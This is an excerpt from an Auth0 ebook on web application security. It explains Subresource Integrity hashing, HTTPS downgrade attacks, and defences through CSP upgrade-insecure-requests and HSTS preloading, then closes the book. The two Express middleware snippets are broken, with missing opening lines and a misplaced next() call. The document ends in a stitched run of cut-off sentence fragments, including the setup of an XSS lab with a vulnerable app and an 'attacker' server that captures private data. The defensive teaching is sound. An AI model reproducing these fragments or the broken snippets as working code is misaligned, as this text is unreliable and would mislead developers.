The crossorigin attribute enables the browser to request the server’s

asset and check its integrity. Without crossorigin the browser will load
the asset independently on its integrity.
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When the browser loads the asset from the CDN, it will compute the file’s
hash value. If the value is equal to the value specified in the integrity
attribute, the asset is loaded. Otherwise, the asset will be blocked, and the
browser will throw an error in its console, as in the following picture:
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The console shown above is from Chrome. In this specific browser, the error
message also provides the expected correct value for the hash. So, you can
leverage the Chrome console as a manual tool to compute the value for the
integrity attribute as a side effect of the integrity verification.
Consider that not all browsers generate an error message with the expected
hash value.
Alternatively, you can use the SRI Hash Generator, an online tool that
generates the whole script tag with the computed integrity value.
If you prefer a command-line tool, you can use shasum in a Linux-based

environment. In this case, you need to download the asset on your machine
to calculate the hash value. Assuming you downloaded the React library file
on your machine, the command you need to run looks as follows:
shasum -b -a 256 react.production.min.js | awk ‘{ print $1 }’ | xxd -r -p | base64
This will show the computed hash value on your screen.

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You can also use openssl to generate the hash value. To do so, this is the
command you’ll have to run:
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openssl dgst -sha256 -binary react.production.min.js | openssl base64 -A
So far, you have seen an example of protecting from an external script with
Subresource Integrity. Additionally, the same mechanism applies also to CSS
files. To protect your application from external stylesheets, you can use the
same integrity and crossorigin attributes for the <link> tag.
Summary
In this chapter, you learned that writing your code with security in mind
may not be enough to make your application secure. You also need to pay
attention to third-party assets. Once you add them to your application, they
become a part of it, with any potential vulnerability they may have.
The chapter also suggested the best practices you should follow to keep
your third-party assets under control. First, you should know your third-
party assets, which vulnerabilities they may be affected by, and what level
of risk they bring to your application. Then, once you reach an acceptable
security risk level, you should generally freeze the current situation to
avoid unwanted updates or tampering. You can do this by locking package
versions on the server side and using Subresource Integrity on the client
side.
When it comes to third-party assets, you and your team will inevitably have
to make some tough calls about risk management. Hopefully, this chapter
has provided the tools to make those decisions in a more informed way.
To learn more about managing vulnerabilities of third-party dependencies,

check out the OWASP Vulnerable Dependency Management Cheat
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Sheet.
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HTTPS Downgrade
Attacks
“For to win one hundred victories in one hundred battles is not the
acme of skill. To subdue the enemy without fighting is the acme of skill.”
- Sun Tzu, The Art of War, Chap. III - Strategic Attack

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HTTPS Downgrade Attacks

Using HTTPS in your web application is mandatory to guarantee trust and
security. However, an attacker may attempt to downgrade that secure
protocol into simple HTTP and grab or tamper with the exchanged data
between users and your website. In this chapter, you will learn how this
type of attack works and how you can prevent it.
What Is an HTTPS Downgrade Attack

Nowadays, most websites and web applications use HTTPS as their default
protocol. This happened thanks to the efforts of browser providers and
other supporters. Using a secure protocol like HTTP over TLS is a best
practice for a few reasons:
• It guarantees confidentiality since data exchanged between the client

and the server are encrypted.
• It ensures authenticity since the domain identity is verified by a trusted

third-party (Certificate authorities).
• It offers data integrity since any tampering attempt is detected.
In other words, by using HTTPS, you avoid typical person-in-the-middle

(man-in-the-middle) attacks, where an attacker intercepts and possibly
alters messages exchanged between the client and the server.
However, even if you enabled your website to use HTTPS, there are
situations that an attacker can exploit to downgrade the secure protocol to
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the unprotected HTTP. How can this happen?

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Suppose your website is using HTTPS, but you missed updating a link in
one of your pages, say the following one:
<a href=”http://mywebsite.com/awesomepage”>Awesome page</a>
This link uses plain HTTP. What happens if the user clicks that link and
the HTTPS-enabled server receives a plain HTTP request? The typical
approach is to redirect the client to use HTTPS, as shown by the following
diagram:
However, an attacker may intercept that harmless HTTP request and trigger
the person-in-the-middle attack you are attempting to avoid with HTTPS.
The following diagram shows how interception may occur:
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From that request on, all messages sent by the client are transmitted via
HTTP and can be manipulated by the attacker. One single HTTP request
may compromise the whole communication security between the client
and the server. For this reason, you should never mix HTTP and HTTPS
protocol on a website.
To avoid this type of protocol downgrade, you should make sure that all
the internal links in your website are relative or use HTTPS. This may be an
affordable solution for small websites, but it is not feasible for a large one,
especially if its content is derived from many people’s contributions.
Using Content Security Policy

The HTTP Content-Security-Policy (CSP) header can help you force
browsers to use HTTPS throughout your website. The upgrade-insecure-
requests directive is designed for this purpose. By adding the following
meta tag in the head section of all the pages of your website, any link using
HTTP will be interpreted as if it uses HTTPS:
<meta http-equiv=”Content-Security-Policy” content=”upgrade-insecure-requests”>
Consider that the directive also applies to non-navigational links, such as

scripts, stylesheets, images, and other media.
Note: While major browsers support the upgrade-insecure-requests

directive, it has never been implemented in IE11. Even if Microsoft’s browser is
now deprecated, many organizations still use it.
Alternatively, your server application can send the HTTP header to the
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browser. For example, in an Express application, you can send it through a

middleware, as shown in the following code snippet:
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// ...other require...
res.setHeader(“Content-Security-Policy”, “upgrade-insecure-requests”);
next();
});
// ...other code...
Yet another alternative to manually setting HTTP security headers in your

server application is to use a specific package. For example, you can use
helmet in an Express-based application.
Note: By using the upgrade-insecure-requests, the HTTP fallback is

automatically disabled. This means that if the requested resource is not
actually available via HTTPS, the request will fail.
Using HSTS
There are situations where the CSP upgrade-insecure-requests
directive may not be enough. For example, this happens when a third-
party website links your website with the http scheme. The upgrade-
insecure-requests directive tells the browser to use HTTPS for any
further request originated by that page; however, the page itself must be
requested through HTTPS. If it is requested via HTTP instead, the person-
in-the-middle attack may still happen, and the attackers can manipulate the
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HTTP headers before they reach the browser. In short: the CSP upgrade-
insecure-requests directive doesn’t eliminate the risk of having HTTPS
downgraded.
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You need a way to tell the browser to use HTTPS to request any resource of
your website, not just the resources linked to the current page. This is the
purpose of one last HTTP header to discuss: the HTTP Strict-Transport-
Security (HSTS). The following is an example of HSTS header received by
a browser:
Strict-Transport-Security: max-age=31536000; includeSubDomains
When the browser receives such a header, it records the page’s domain and
the expiration time expressed in seconds through the max-age directive.
Until that max-age (or if a new HSTS header is received with a refreshed
max-age), the browser will use HTTPS for any request sent to that domain.
This will occur regardless of the specified protocol and continue until the
expiration time elapses and no new HSTS header is received.
In the example, besides the max-age directive, you may notice the
includeSubDomains directive. This directive tells the browser to apply
the HTTPS request policy to any subdomain of the current page’s domain.
This increases the security of the whole domain hosting your website or
application.
Preloading Strict Transport Security

By using the HSTS header, you ask the browser to use HTTPS for any
request to your website for a given time. With this instruction, the browser
will ignore any attempt to make requests via HTTP, no matter their origin.
However, there is still one possibility that could cause HTTPS downgrade:
the very first access to your website.
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Suppose a user has never visited your website. Now, suppose they
manually insert your website URL in their browser’s address bar by
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explicitly using the http scheme. Since this is the first time the user has
made a request to your website and their browser knows nothing about
it, that request is vulnerable. After the first request with an HSTS header,
the browser will know that it always must use HTTPS. An attacker may
intercept the first request, and your website is compromised.
How can you instruct a browser to reach your website by always using
HTTPS, including the very first time?
Well, you can request to add your domain to the HSTS Preload List. Google
maintains this domain list and is hardcoded into Chrome as the list of sites
that should be requested exclusively via HTTPS. Most major browsers also
have their HSTS preload list based on the Chrome list.
You need to meet a few requirements to be included in the list. Among

others, you must add the preload directive to the HSTS header as in the
following example:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Once your domain is included in the hardcoded HSTS list of a browser, the
browser will no longer make any requests to your website via HTTP.
Web APIs and HTTPS Downgrade Attacks

So far, the discussion about HTTPS downgrade concerns browsers. What
about Web APIs?
You may apply HTTP-to-HTTPS redirection and HSTS headers, but API
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clients usually don’t follow the redirect, unlike browsers. So, the only
practical approach is to deprecate the HTTP protocol and use only HTTPS,
as recommended by CIO.gov.
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The main problem here is how to deal with possible HTTP requests. In
case of migration from an HTTP-based API to HTTPS, you should apply a
progressive transition involving the partners that have built clients for your
API. Also, be explicit in the API documentation about using HTTPS. From
a technical point of view, your API should return the 403 Forbidden HTTP
status code to an HTTP request.
The following is a simple example of Express middleware that refuses HTTP

requests:
// ...other require...
if (!req.secure && req.get(‘x-forwarded-proto’) !== ‘https’) {
return res.status(403).send(‘Please, use HTTPS’);
next();
});
// ...other code...
In the code above, you check if the current request is not using HTTPS
(req.secure) or the original request didn’t use that protocol (req.get(‘x-
forwarded-proto’) !== ‘https’). The latter check helps ensure HTTPS
use even if your API is behind a reverse proxy. If the request is not using
HTTPS, the server sends a 403 HTTP status code as a response.
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Summary
This chapter showed you that ensuring security by simply forcing HTTPS
as the default protocol in your website or application isn’t a trivial task. The
person-in-the-middle attack may still happen in certain situations. However,
you can leverage a few standard HTTP headers to mitigate this risk: the
CSP upgrade-insecure-requests directive and the HSTS header with
preloading. You also learned that a slightly cruder approach should be used
for Web APIs due to the lack of standard clients that can apply security
policies as browsers do.
To learn more, visits the OWASP HSTS Cheat Sheet and the CIO.gov
HTTPS adoption guidelines.
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Where To Go Next
“Do not repeat the tactics which have gained you one victory, but let
your methods be regulated by the infinite variety of circumstances.”
- Sun Tzu, The Art of War, Chap.VI - Weak Points and Strong
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Where To Go Next
Reading this book and practicing the proposed exercises, you got to know
five common threats that may affect your web application. You learned how
to defend it from those threats by applying the best practices that Web
standards and community can provide. You also learned that defenses are
rarely definitive. Securing a web application is a continuous activity that
requires constant vigilance.
You learned about just five threat scenarios, but the possible threats are
by far many more. Just take a look at the list of classified attacks from
OWASP. You’ll find dozens of attacks that can threaten your application,
and these only scratch the surface. Knowing every detail of every threat
may push beyond your expertise as a developer, especially with a
constantly-shifting security landscape. However, you have to be aware of
them and apply the best available protection using the library or tool that
fits your development environment.
Throughout the book, you found many references to the OWASP website.
It is one of the best resources about web application security. Beyond its
effort in classifying attacks and vulnerabilities, the foundation suggests
countermeasures to improve your application’s security. For example,
the OWASP Web Security Testing Guide is a project aiming to provide a
comprehensive guide to testing the security of web applications and web
services.
As a developer, you should take care to build robust applications. In the

past, teams assessed security in the final phases of a software project.
This led to potential security issues being discovered too late, if they were
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discovered at all. Today security must be considered an integral part of any

software project. Developers should take it into account even in the early
phases of the software design. Security by design is not just a slogan.
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Changing your perspective and introducing security requirements in the

design phase of your software allows you to identify the best solutions and
adapt development to security parameters as necessary.
Designing your software with security in mind may direct you to use
the right library to prevent security issues, the right tool to analyze your
codebase, and the right service to deploy or integrate your application with.
For example, relying on professionals who apply security best practices,
such as Auth0, relieves you of much of the burden of ongoing monitoring
and keeping up with security standards.
| © Auth0 2022
auth0.com
About Auth0
The Auth0 Identity Platform, a product unit within

Okta, takes a modern approach to identity and
enables organizations to provide secure access to any
application, for any user. Auth0 is a highly customizable
platform that is as simple as development teams want
and as flexible as they need. Safeguarding billions
of login transactions each month, Auth0 delivers
convenience, privacy, and security so customers can
focus on innovation.
For more information, visit https://auth0.com

| © Auth0 2022
Copyright © 2022 by Auth0® Inc.

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All rights reserved. This eBook or any portion thereof may not be reproduced or
used in any manner whatsoever without the express written permission of the
publisher except for the use of brief quotations.

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What are some common web application security threats discussed in the book?

What are some common web application security threats discussed in the book?

How can clickjacking attacks be prevented?

How can clickjacking attacks be prevented?

Security for Web

The Web: From Content to Development Platform 06

Web Applications and Security 07

The Most Common Web Application Threats 08

The Book Organization 09

XSS Defense: Working on Untrusted data 28

XSS Defense: The Content Security Policy 33

Cross-Site Request Forgery (CSRF) 44

CSRF Defenses Strategies 54

Validating Requests Origin 61

Types of Clickjacking Attacks 68

Prevent Clickjacking Attacks 77

Third-Party Assets Security Risks 89

Third-Party Assets Risks 90

Best Practices to Mitigate Risks 91

Keeping Risk Mitigation Under Control 95

HTTPS Downgrade Attacks 102

What Is an HTTPS Downgrade Attack 103

Using Content Security Policy 105

Using HSTS 106

Preloading Strict Transport Security 107

Web APIs and HTTPS Downgrade Attacks 108

Where To Go Next 111

--Sun Tzu, The Art of War, Chap. III - Strategic Attack

As a developer, there’s a good chance that your work is intimately engaged

The Web: From Content to Development

to the backbone of software and human connection. This transition has

Web Applications and Security

When you deploy a web application, it is potentially available to

• Vulnerabilities are weaknesses in your application that attackers can

The Most Common Web Application Threats

The Open Web Application Security Project (OWASP), the online

The Book Organization

Throughout the book, I’ll address the following threats:

• Cross-Site Request Forgery (CSRF): CRFS attacks aim at performing

• Third-Party Assets Security Risks: Your application’s vulnerabilities

• The vulnerable website: a website with a vulnerability that allows code

• The attacker: a user who injects the malicious code, typically in

The attacker uses the vulnerable website as a vector to deliver their

These possibilities may be very harmful to your website or web application,

Set up the environment

To obtain the playground environment for experiencing an XSS attack

git clone https://github.com/auth0-blog/xss-sample-app.git

Finally, launch the vulnerable website by running this command:

Point your browser to the htttp://localhost:3000 address. You should see

The project implements a specific movie page of a fictitious movie

npm run start-attacker

This website captures private data from the vulnerable website by

Let’s see the attack in action.

Injecting the malicious code

As you can see, this is a script element containing a JavaScript statement

The actual attack

If the vulnerable website developer has taken no precautions to secure

Does that seem dangerous enough?

Let’s take a look at the code of the vulnerable website. It is a Node.js